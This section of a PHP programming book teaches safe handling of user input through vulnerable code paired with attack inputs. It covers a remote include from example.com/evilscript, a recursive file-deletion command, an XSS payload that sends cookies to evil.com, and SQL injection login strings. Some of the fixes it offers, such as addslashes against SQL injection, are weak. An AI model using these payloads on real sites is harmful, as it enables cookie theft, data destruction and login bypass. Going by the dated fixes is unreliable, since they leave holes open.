Section 5.4. Safe-Handling User Input


5.4. Safe-Handling User Input

Trust nobody, especially not the users of your web application. Users always do unexpected things, whether on purpose or by accident, and thus might find bugs or security holes in your site. In the following sections, we first show some of the major problems that may cause your site to sustain attacks. Then, we talk about some techniques to deal with the problems.

5.4.1. Common Mistakes

A certain set of mistakes are often made. If you read security-related mailing lists (such as Bugtraq, http://www.securityfocus.com/archive/1), you will notice at least a few vulnerabilities in PHP applications every week.

5.4.1.1 Global Variables

One basic mistake is not initializing global variables properly. Setting the php.ini directive 'register_globals' to Off (the default since PHP 4.2) protects against this mistake, but you still need to watch for the problem. Your application might be used by other users who have register_globals set to On. Let's illustrate what can happen if you don't initialize your variables with a basic example:

 <?php session_start(); /* $admin is a session variable set earlier by an authentication  * script */  if (!$admin) {     do_foo(); } else {     do_admin_task(); } ?> 

Although this looks like a simple thing, it can be overlooked in more complex scripts. In our example, not much harm is possible. The only thing that an attacker could do is use your web application with administrator rights. Far more severe problems can arise when you dynamically include files with the include() or require() functions in PHP. Consider the following (simplified) example:

 <?php include $module. '.php'; ?> 

This script makes it possible for an attacker to execute arbitrary PHP code on your server, by simply appending ?module=http://example.com/evilscript to the URL in the browser. When PHP receives this URL, it sets $module equal to http://example.com/evilscript.php. When PHP executes the include() function, it tries to include the evilscript.php from example.com (which should not parse it, of course) and execute the PHP code in evilscript.php. evilscript.php might contain <?php 'find / -exec rm "{}" ";"'; ?>, code that would remove all files accessible by the web server.

The first of these exploits can be solved by using $_SESSION['admin'] or setting the register_globals php.ini setting to Off. The second can be solved by checking whether the file exists on the local machine before including it, as in the following code:

 <?php if (file_exists($module. '.php')) {     include $module. '.php'; } ?> 

5.4.1.2 Cross-Site Scripting

By using the cross-site scripting technique, an attacker might be able to execute pieces of client-side scripting languages, such as JavaScript, and steal cookies or other sensitive data. Cross-site scripting is really not hard. The attacker only needs a way to insert raw data into the HTML of the site. For example, the attacker might enter <script language="JavaScript">alert();</script> into an input box that does not strip any HTML tags. The following script illustrates this possibility:

 <html> <head><title>XSS example</title></head> <body> <form>   <input name='foo' value='<?php echo $_GET['foo']; ?>'> </form> </html> 

It's a straightforward script. Suppose the attacker types the following into your form field:

 '><script language='JavaScript'>alert('boo!');</script><a b=' 

The JavaScript code results in the pop-up shown in Figure 5.2.

Figure 5.2. Effects of JavaScript in unchecked input.


Of course, this is not scary. However, suppose instead of this innocent pop-up, the following is input:

[View full width]

'><script language='JavaScript'>document.location= 'http://evil.com/cgi-bin/cookie .cgi?f='+document.cookie</script><a b='

When a user is tricked into activating this URL, the contents of your cookie are sent to the evil.com guys. Of course, a user is not likely to click a URL with evil.com in it, but the bad guys can change the "evil.com" to an URL-encoded form that would look less "weird," especially to beginning Internet users.

5.4.1.3 SQL Injection

SQL Injection is a method in which an attacker inserts malicious code into queries that run on your database. Have a look at this example:

 <?php     $query = "SELECT login_id FROM users WHERE user='$user' AND pwd='$pw'";     mysql_query($query); ?> 

Voilà! Anyone can log in as any user, using a query string like http://example.com/login.php?user=admin'%20OR%20(user='&pwd=') %20OR%20user=', which effectively calls the following statements:

 <?php     $query = "SELECT login_id FROM users WHERE         user='admin' OR (user = '' AND pwd='') OR user=''";     mysql_query($query); ?> 

It's even simpler with the URL http://example.com/login.php?user=admin'%23, which executes the query SELECT login_id FROM users WHERE user='admin'#' AND pwd=''. Note that the # marks the beginning of a comment in SQL.

Again, it's a simple attack. Fortunately, it's also easy to prevent. You can sanitize the input using the addslashes() function that adds a slash before every single quote ('), double quote ("), backslash (\), and NUL (\0). Other functions are available to sanitize input, such as strip_tags().



    PHP 5 Power Programming
    PHP 5 Power Programming
    ISBN: 013147149X
    EAN: 2147483647
    Year: 2003
    Pages: 240

    flylib.com © 2008-2017.
    If you may any questions please contact us: flylib@qtcs.net